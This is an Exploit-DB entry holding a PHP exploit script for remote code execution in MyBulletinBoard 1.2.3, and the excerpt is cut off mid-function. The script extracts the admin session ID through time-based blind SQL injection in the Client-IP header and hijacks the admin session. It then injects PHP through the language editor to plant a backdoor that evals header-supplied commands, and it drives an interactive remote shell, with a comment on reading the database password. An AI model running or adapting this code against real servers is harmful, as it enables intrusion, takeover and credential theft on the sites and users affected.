Exploit-DB #3653
Description: MyBulletinBoard (MyBB) 1.2.3 - Remote Code Execution
Type: webapps
Platform: php
Date: 2007-04-03
Author: DarkFig

Exploit:
#!/usr/bin/php
<?php
error_reporting(E_ALL ^ E_NOTICE);

# http://www.milw0rm.com/exploits/2012
# They corrected (not all) a lot of SQL requests which use the ipaddress, with $db->escape_string.
# They don't corrected the function (this is a choice ... the bad) and they forgot to correct 1 (only) SQL request.
# They must correct the problem at the source =)
#
if($argc < 3)
{
print("
---  MyBulletinBoard (MyBB) <= 1.2.3 Remote Code Execution Exploit  ---
-----------------------------------------------------------------------
PHP conditions: none
       Credits: DarkFig <gmdarkfig@gmail.com>
           URL: http://www.acid-root.new.fr/
-----------------------------------------------------------------------
  Usage: $argv[0] -url http://victim.com/ [Options]
 Params: -url       For example http://victim.com/myBB/
Options: -debug     Debug mod activated (debug_mybb.html)
         -truetime  Server response time which returns true
         -benchmark You can change the value used in benchmark()
         -proxy     If you wanna use a proxy <proxyhost:proxyport> 
         -proxyauth Basic authentification <proxyuser:proxypwd>
   Note: If you have some problems use -debug, -benchmark, -truetime
-----------------------------------------------------------------------
");exit(1);
}

$url       = getparam('url',1);
$debug     = (getparam('debug')!='')     ? 1 : 0;
$benchmark = (getparam('benchmark')!='') ? getparam('benchmark') : '1000000';
$proxy     = getparam($proxy);
$proxyauth = getparam($proxyauth);

$backdoor  = 'uploads/avatars/backdoor.php'; # inc/cache/backdoor.php
$filetoed  = 'index.lang.php';

$xpl = new phpsploit();
$xpl->agent('Firefox');
if($proxy) $xpl->proxy($proxy);
if($proxyauth) $xpl->proxyauth($proxyauth);
if($debug) debug(1);

# There is two solutions to be logged in as administrator.
#
# SOLUTION NUMBER 1
# mysql> select * from mybb_users\G
# *************************** 1. row ***************************
#              uid: 1
#         username: root
#         [CREDENTIAL_REDACTED]
#             salt: BFeJBOCF
#         loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA...
#
# $xpl->post($url.'admin/index.php','username=root&[CREDENTIAL_REDACTED]=login&goto=');
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control Panel...
# 
# SOLUTION NUMBER 2
# mysql> select * from mybb_adminsessions\G
# *************************** 1. row ***************************
#        sid: 81e267263b9254f3aaf670383bfbfec9
#        uid: 1
#   loginkey: VYLJia9InmLgM1PT6v2whyMbaoSuprngLnkW55j3zlywItyZBA
#         ip: 127.0.0.1
#   dateline:[PII_REDACTED]
# lastactive:[PII_REDACTED]
#
# $xpl->addheader('Client-IP','127.0.0.1');
# $xpl->get($url.'admin/index.php?adminsid=81e267263b9254f3aaf670383bfbfec9');
# print $xpl->getcontent(); // ...Welcome to the MyBB Administration Control Panel...
#
# I decided to use the solution number 2.
# We can also add an administrator (easily) ... but it's not interesting.
#
print "\nAdmin IP : "; $ip  = sql_inject('ip');
print "\nAdmin sid: "; $sid = sql_inject('sid');
print "\nTrying to be logged in as administrator";

$xpl->addheader('Client-IP',$ip);
$xpl->get($url."admin/languages.php?adminsid=$sid");

# Trying to find the language
if(preg_match('#<input type="hidden" name="lang" value="(\S*)"#',$xpl->getcontent(),$langmatches)) $lang=$langmatches[1];
else $lang='english';
print "\nLanguage: $lang";

# Language configuration
$xpl->get($url."admin/languages.php?adminsid=$sid&action=edit&lang=$lang&editwith=0&file=$filetoed");
preg_match_all('#name="(.*)">(.*)&lt;/textarea&gt;#',$xpl->getcontent(),$name_value);

# We can't use:
# - <? OR <?php
# - <script language="php">
# - ' OR "
#
$PHPCODE = '${${error_reporting(0)}}'
          .'${${$handle=fopen('.chrit('./'.$backdoor).','.chrit('w').')}}'
          .'${${fwrite($handle,'.chrit('<?php error_reporting(0);eval($_SERVER[HTTP_SHELL]);exit(0); ?>').')}}'
          .'${${fclose($handle)}}';
$name_value[2][0] .= $PHPCODE;

$postdata=array(frmdt_url => $url.'admin/languages.php',
               "adminsid" => $sid, "action" => "do_edit",
               "lang" => $lang, "editwith" => 0,
               "inadmin"=> 0, "file"=> $filetoed,
               "Update Language Variables"=>"  Update Language Variables");

for($i=0;$i<count($name_value[1]);$i++)	$postdata[html_entity_decode($name_value[1][$i])] = html_entity_decode($name_value[2][$i]);

# print $xpl->showlastrequest();
$xpl->formdata($postdata);

# Trying to execute the php code
$xpl->get($url.'index.php');

# If not the default language
$xpl->get($url.'inc/languages/'.$lang.'/'.$filetoed);
print "\nThe php file should be created\n\$shell> ";

# Hello master
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))
{
    # ');include('../../inc/config.php');print $config['password'];//
    $xpl->addheader('Shell',"system('$cmd');");
    $xpl->get($url.$backdoor);
    print $xpl->getcontent()."\n\$shell> ";
}

function sql_inject($field)
{
	global $xpl,$url,$prefix,$debug,$result,$bef,$aft,$truetime,$benchmark,$a,$b,$sub,$f; #,$fakeip
	$sub=0;$string='';
	
	if($field=='ip') {$a='44';$b='57';} # . 0-9
	else {$a='46';$b='70';}             # 0-9 A-Z
	
	while(TRUE)
	{
		$sub++;
		for($i=$a;$i<=$b;$i++)
		{
			# Random ip
			$fakeip = rand(128,254).'.'
			         .rand(128,254).'.'
			         .rand(128,254).'.'
			         .rand(128,254);

			# Calculation of the server response time which returns TRUE
			if($i==$a) $f='TST';
			
			# End of the string ?
			elseif($i==($a+1)) $f='NULL';
			
			# Test the char
			else $f=$i;
			
			# Table prefix
			if($sub==1 AND $i==$a)
			{
				$xpl->addheader('Client-IP',$fakeip."'<script>alert(666)</script>");
				$xpl->get($url.'index.php');

				if(preg_match("#DELETE FROM (\S*)sessions#i",$xpl->getcontent(),$match)) $pr